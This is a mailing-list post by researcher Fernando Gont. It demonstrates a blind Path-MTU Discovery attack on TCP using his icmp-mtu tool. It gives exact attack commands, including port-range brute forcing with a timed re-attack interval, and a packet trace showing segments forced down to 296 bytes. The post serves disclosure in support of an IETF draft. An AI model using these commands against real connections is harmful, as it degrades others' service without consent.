Folks, Another trivial ICMP-based attack. We'll use the tool icmp-mtu, available at http://www.gont.com.ar/tools/icmp-attacks We'll perform the blind performance-degrading attack described in http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html as the "Attack against the Path-MTU Discovery mechanism". The attack will fool a TCP end-point into thinking it is sending packets that are larger than the current PMTU. Therefore, that TCP endpoint will reduce the size of the packets it sends. This has a two-fold effect: a) The "performance" of the transfer will be lower, as there will be much more overhead (i.e. the data/headers ratio will be lower). b) The CPU utilization of the involved systems will increase: The same data transfer rate will require much more packets (as TCP would be sending smaller packets). In most systems, every time a packet arrives, it causes an IRQ (Interrupt ReQuest) to be issued. Thus, increasing the packet rate will increase the CPU utilization. If the packet rate is not increased, guess what throughput you can get with 68-byte packets. :-) Scenario: Web-browser (at 10.0.0.1, TCP port 1024) is downloading a big file from a web-server (at 192.168.0.1, TCP port 80) For simplicity-sake, let's assume we know the four-tuple that identifies the connection. (If we don't, that's no problem: we can make icmp-mtu try all the possible combinations). Let's perform the attack: # icmp-mtu -c 10.0.0.1:3028 -s 192.168.0.1:80 -t server -r 56 -m 296 (The client is at 10.0.0.1, TCP port 3028. The server is at 192.168.0.1, TCP port 80. Let's attack the server. Limit the throughput used for the attack to 56 kbps. Set the Path-MTU to 296 bytes) (The lowest value allowed by the specifications is 68. However, some implementations (such as the one I used for this test) will not honor ICMP messages that claim MTUs smaller than 296) Here's the packet trace: 07:33:33.450711 192.168.0.1.80 > 10.0.0.1.3028: . 55381:56801(1420) ack 0 win 17040 (DF) (ttl 64, id 46716) 07:33:33.766220 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 48281 win 9940 (DF) (ttl 117, id 55756) 07:33:33.766241 192.168.0.1.80 > 10.0.0.1.3028: . 56801:58221(1420) ack 0 win 17040 (DF) (ttl 64, id 64806) 07:33:33.770295 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 49701 win 9940 (DF) (ttl 117, id 55758) 07:33:33.770318 192.168.0.1.80 > 10.0.0.1.3028: . 58221:59641(1420) ack 0 win 17040 (DF) (ttl 64, id 37411) 07:33:34.203906 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 51121 win 9940 (DF) (ttl 117, id 55760) 07:33:34.203962 192.168.0.1.80 > 10.0.0.1.3028: . 59641:61061(1420) ack 0 win 17040 (DF) (ttl 64, id 49486) 07:33:34.378908 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 52541 win 9940 (DF) (ttl 117, id 55761) 07:33:34.378933 192.168.0.1.80 > 10.0.0.1.3028: . 61061:62481(1420) ack 0 win 17040 (DF) (ttl 64, id 54369) 07:33:34.429296 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 53961 win 9940 (DF) (ttl 117, id 55762) 07:33:34.429318 192.168.0.1.80 > 10.0.0.1.3028: . 62481:63901(1420) ack 0 win 17040 (DF) (ttl 64, id 38867) 07:33:34.769519 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 55381 win 9940 (DF) (ttl 117, id 55764) 07:33:34.769565 192.168.0.1.80 > 10.0.0.1.3028: . 63901:65321(1420) ack 0 win 17040 (DF) (ttl 64, id 45655) 07:33:35.110200 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 56801 win 9940 (DF) (ttl 117, id 55765) 07:33:35.110259 192.168.0.1.80 > 10.0.0.1.3028: . 65321:66741(1420) ack 0 win 17040 (DF) (ttl 64, id 47463) 07:33:35.113291 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 58221 win 9940 (DF) (ttl 117, id 55766) 07:33:35.113314 192.168.0.1.80 > 10.0.0.1.3028: . 66741:68161(1420) ack 0 win 17040 (DF) (ttl 64, id 52075) 07:33:35.510370 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 59641 win 9940 (DF) (ttl 117, id 55769) 07:33:35.510393 192.168.0.1.80 > 10.0.0.1.3028: . 68161:69581(1420) ack 0 win 17040 (DF) (ttl 64, id 50555) 07:33:35.687634 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 61061 win 9940 (DF) (ttl 117, id 55770) 07:33:35.687656 192.168.0.1.80 > 10.0.0.1.3028: . 69581:71001(1420) ack 0 win 17040 (DF) (ttl 64, id 61555) 07:33:36.009372 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 62481 win 9940 (DF) (ttl 117, id 55771) 07:33:36.009398 192.168.0.1.80 > 10.0.0.1.3028: . 71001:72421(1420) ack 0 win 17040 (DF) (ttl 64, id 34296) 07:33:36.180815 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 63901 win 9940 (DF) (ttl 117, id 55773) 07:33:36.180873 192.168.0.1.80 > 10.0.0.1.3028: . 72421:73841(1420) ack 0 win 17040 (DF) (ttl 64, id 53575) 07:33:36.506718 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 65321 win 9940 (DF) (ttl 117, id 55774) 07:33:36.506743 192.168.0.1.80 > 10.0.0.1.3028: . 73841:75261(1420) ack 0 win 17040 (DF) (ttl 64, id 34721) 07:33:36.510804 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 66741 win 9940 (DF) (ttl 117, id 55775) 07:33:36.510827 192.168.0.1.80 > 10.0.0.1.3028: . 75261:76681(1420) ack 0 win 17040 (DF) (ttl 64, id 34894) 07:33:37.004635 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 68161 win 9940 (DF) (ttl 117, id 55777) 07:33:37.004695 192.168.0.1.80 > 10.0.0.1.3028: . 76681:78101(1420) ack 0 win 17040 (DF) (ttl 64, id 44036) 07:33:37.008756 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 69581 win 9940 (DF) (ttl 117, id 55778) 07:33:37.008779 192.168.0.1.80 > 10.0.0.1.3028: . 78101:79521(1420) ack 0 win 17040 (DF) (ttl 64, id 47291) 07:33:37.213783 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 71001 win 9940 (DF) (ttl 117, id 55779) 07:33:37.213844 192.168.0.1.80 > 10.0.0.1.3028: . 79521:80941(1420) ack 0 win 17040 (DF) (ttl 64, id 37137) Up to this point, "everything was okay". 07:33:37.222434 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need to frag (mtu 296) (ttl 232, id 5693) Here's the point in which our tool is run. From here, till the end of the transfer, you see the effect of the attack: each TCP segment carries 256 bytes of data, making for (20-byte IP header + 20-byte TCP header + 256-byte data payload = 296-byte packet). 07:33:37.222472 192.168.0.1.80 > 10.0.0.1.3028: . 71001:71257(256) ack 0 win 17040 (DF) (ttl 64, id 58749) 07:33:37.222578 192.168.0.1.80 > 10.0.0.1.3028: . 71257:71513(256) ack 0 win 17040 (DF) (ttl 64, id 51033) 07:33:37.222845 192.168.0.1.80 > 10.0.0.1.3028: . 71513:71769(256) ack 0 win 17040 (DF) (ttl 64, id 32798) 07:33:37.223118 192.168.0.1.80 > 10.0.0.1.3028: . 71769:72025(256) ack 0 win 17040 (DF) (ttl 64, id 41766) 07:33:37.778893 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need to frag (mtu 296) (ttl 221, id 2124) 07:33:37.778917 192.168.0.1.80 > 10.0.0.1.3028: . 71001:71257(256) ack 0 win 17040 (DF) (ttl 64, id 36548) 07:33:37.779022 192.168.0.1.80 > 10.0.0.1.3028: . 71257:71513(256) ack 0 win 17040 (DF) (ttl 64, id 61732) 07:33:37.779290 192.168.0.1.80 > 10.0.0.1.3028: . 71513:71769(256) ack 0 win 17040 (DF) (ttl 64, id 51438) 07:33:37.779563 192.168.0.1.80 > 10.0.0.1.3028: . 71769:72025(256) ack 0 win 17040 (DF) (ttl 64, id 40154) 07:33:37.804701 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 72421 win 9940 (DF) (ttl 117, id 55782) 07:33:37.804726 192.168.0.1.80 > 10.0.0.1.3028: . 72421:72677(256) ack 0 win 17040 (DF) (ttl 64, id 59091) 07:33:37.804829 192.168.0.1.80 > 10.0.0.1.3028: . 72677:72933(256) ack 0 win 17040 (DF) (ttl 64, id 53746) 07:33:37.805098 192.168.0.1.80 > 10.0.0.1.3028: . 72933:73189(256) ack 0 win 17040 (DF) (ttl 64, id 48719) 07:33:37.805371 192.168.0.1.80 > 10.0.0.1.3028: . 73189:73445(256) ack 0 win 17040 (DF) (ttl 64, id 37796) 07:33:38.000265 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 73841 win 9940 (DF) (ttl 117, id 55783) 07:33:38.000287 192.168.0.1.80 > 10.0.0.1.3028: . 73841:74097(256) ack 0 win 17040 (DF) (ttl 64, id 65040) 07:33:38.000391 192.168.0.1.80 > 10.0.0.1.3028: . 74097:74353(256) ack 0 win 17040 (DF) (ttl 64, id 50520) 07:33:38.000660 192.168.0.1.80 > 10.0.0.1.3028: . 74353:74609(256) ack 0 win 17040 (DF) (ttl 64, id 37744) 07:33:38.000933 192.168.0.1.80 > 10.0.0.1.3028: . 74609:74865(256) ack 0 win 17040 (DF) (ttl 64, id 49194) 07:33:38.001205 192.168.0.1.80 > 10.0.0.1.3028: . 74865:75121(256) ack 0 win 17040 (DF) (ttl 64, id 35292) 07:33:38.001478 192.168.0.1.80 > 10.0.0.1.3028: . 75121:75377(256) ack 0 win 17040 (DF) (ttl 64, id 35405) 07:33:38.001751 192.168.0.1.80 > 10.0.0.1.3028: . 75377:75633(256) ack 0 win 17040 (DF) (ttl 64, id 50111) 07:33:38.002024 192.168.0.1.80 > 10.0.0.1.3028: . 75633:75889(256) ack 0 win 17040 (DF) (ttl 64, id 63637) 07:33:38.002297 192.168.0.1.80 > 10.0.0.1.3028: . 75889:76145(256) ack 0 win 17040 (DF) (ttl 64, id 37723) 07:33:38.099395 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 75261 win 9940 (DF) (ttl 117, id 55784) 07:33:38.099413 192.168.0.1.80 > 10.0.0.1.3028: . 76145:76401(256) ack 0 win 17040 (DF) (ttl 64, id 44236) 07:33:38.099518 192.168.0.1.80 > 10.0.0.1.3028: . 76401:76657(256) ack 0 win 17040 (DF) (ttl 64, id 58026) 07:33:38.099786 192.168.0.1.80 > 10.0.0.1.3028: . 76657:76913(256) ack 0 win 17040 (DF) (ttl 64, id 55844) 07:33:38.100058 192.168.0.1.80 > 10.0.0.1.3028: . 76913:77169(256) ack 0 win 17040 (DF) (ttl 64, id 53944) 07:33:38.295212 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 76681 win 9940 (DF) (ttl 117, id 55786) 07:33:38.295271 192.168.0.1.80 > 10.0.0.1.3028: . 77169:77425(256) ack 0 win 17040 (DF) (ttl 64, id 50067) 07:33:38.295377 192.168.0.1.80 > 10.0.0.1.3028: . 77425:77681(256) ack 0 win 17040 (DF) (ttl 64, id 50320) 07:33:38.295645 192.168.0.1.80 > 10.0.0.1.3028: . 77681:77937(256) ack 0 win 17040 (DF) (ttl 64, id 46302) 07:33:38.295918 192.168.0.1.80 > 10.0.0.1.3028: . 77937:78193(256) ack 0 win 17040 (DF) (ttl 64, id 35011) 07:33:38.296190 192.168.0.1.80 > 10.0.0.1.3028: . 78193:78449(256) ack 0 win 17040 (DF) (ttl 64, id 33938) 07:33:38.296463 192.168.0.1.80 > 10.0.0.1.3028: . 78449:78705(256) ack 0 win 17040 (DF) (ttl 64, id 34572) 07:33:38.296736 192.168.0.1.80 > 10.0.0.1.3028: . 78705:78961(256) ack 0 win 17040 (DF) (ttl 64, id 50867) 07:33:38.297009 192.168.0.1.80 > 10.0.0.1.3028: . 78961:79217(256) ack 0 win 17040 (DF) (ttl 64, id 49460) 07:33:38.297282 192.168.0.1.80 > 10.0.0.1.3028: . 79217:79473(256) ack 0 win 17040 (DF) (ttl 64, id 54046) 07:33:38.297554 192.168.0.1.80 > 10.0.0.1.3028: . [tcp sum ok] 79473:79497(24) ack 0 win 17040 (DF) (ttl 64, id 57102) If you keep an eye on the data throughput, you'll see it has decreased considerably. If the server had a high-bandwidth communications link, you'd notice the increase in the CPU utilization, too. Let's now say we don't know the client port number. But we know the server is running Windows, which chooses the "outgoing" port numbers from the range 1024-4999. # icmp-mtu -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t server -r 56 -D 300 -m 296 So we know specify with the "-c" option a port range for the client (1024-4999). The "-s" option is the same as before. The "-r" option is the same as before, too. We have added the "-D" option. It means: "after trying all the possible combinations, sleep for 300 seconds before doing another round". The "-m 296" tell icmp-mtu to set the Path-MTU to 296 bytes (if you don't specify this option, the MTU will be set to the smallest possible value: 68) Recall that the IETF specifications recommend to wait for ten minutes before trying to increase the Path-MTU. So after making the server reduce the size of its packets, we will sleep for 300 seconds (5 minutes), before attacking again. Another option could have been to not sleep after each round, but use some ridiculous (low) bandwidth for the attack. Hint: Some people have reported "strange behaviour" when some implementations receive ICMP packets that claim MTUs smaller that 68 (maybe MTUs = 0). But this is an implementation bug, and I'm more concerned with IETF-compliant implementations. P.S.: Attacks explained in the internet-draft available at http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html Kindest regards, -- Fernando Gont e-mail: fernando@gont.com.ar || fgont@acm.org